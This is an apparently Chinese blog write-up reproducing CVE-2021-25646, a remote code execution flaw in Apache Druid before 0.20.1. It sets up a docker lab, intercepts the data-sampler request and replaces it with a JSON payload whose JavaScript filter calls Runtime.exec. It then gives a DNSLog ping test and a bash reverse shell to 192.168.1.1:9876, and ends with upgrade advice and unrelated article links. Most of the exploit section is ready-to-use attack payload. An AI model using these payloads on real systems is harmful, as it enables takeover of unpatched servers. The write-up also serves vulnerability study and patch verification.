CVE-2021-25646:Apache Druid远程命令执行漏洞复现

漏洞概述

Apache Druid 是一个分布式的数据处理系统。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中,用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

影响版本

Apache Druid < 0.20.1

环境搭建

复制代码
docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

漏洞复现

访问8888端口,进入Apache Druid首页:

点击左上方Load data -> Local disk:

右侧表单填入:
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz

接下来一路点击next,直到下一步是Filter时,抓取数据包:

此时替换数据包中POST的data数据,原始数据:

复制代码
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[]}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

替换后的数据:

复制代码
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

其中,执行命令的代码为:

复制代码
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}"

DNSLog测试

复制代码
exec('ping xxx.dnslog.cn -c 1')

反弹shell

复制代码
exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')

成功反弹shell。

修复建议

升级到最新版Apache Druid 0.20.1

下载链接:https://druid.apache.org/downloads.html

相关推荐
oMcLin13 小时前
如何在 CentOS 7 上通过调优 Apache Tomcat 配置,提高高并发电商网站的性能?
centos·tomcat·apache
talenteddriver13 小时前
java: JAVA静态方法细节
java·前端·apache
oMcLin3 天前
Debian 10 系统中高并发下 Apache 进程崩溃问题:如何通过调整 ulimit 与配置优化修复
运维·debian·apache
Par@ish3 天前
【网络安全】Apache StreamPipes 严重漏洞使攻击者可夺取管理员控制权
安全·web安全·apache
oMcLin3 天前
Ubuntu 22.04 配置 Apache 反向代理时无法访问后端应用:Nginx 与 Apache 配置冲突排查
nginx·ubuntu·apache
xiaoliuliu123454 天前
Apache JMeter 2.9 简单上手教程(附下载包)
jmeter·apache
DigitalOcean5 天前
Ubuntu/Debian VPS 上 Apache Web 服务器的完整配置教程
ubuntu·apache
java_logo6 天前
Apache Flink Docker 容器化部署指南
docker·flink·apache·apache flink·apache flink部署·flink部署文档·flink部署教程
彭于晏Yan6 天前
Apache Kafka使用
kafka·apache
彦楠6 天前
Apache Commons Lang 中 Pair 类的使用教程
java·apache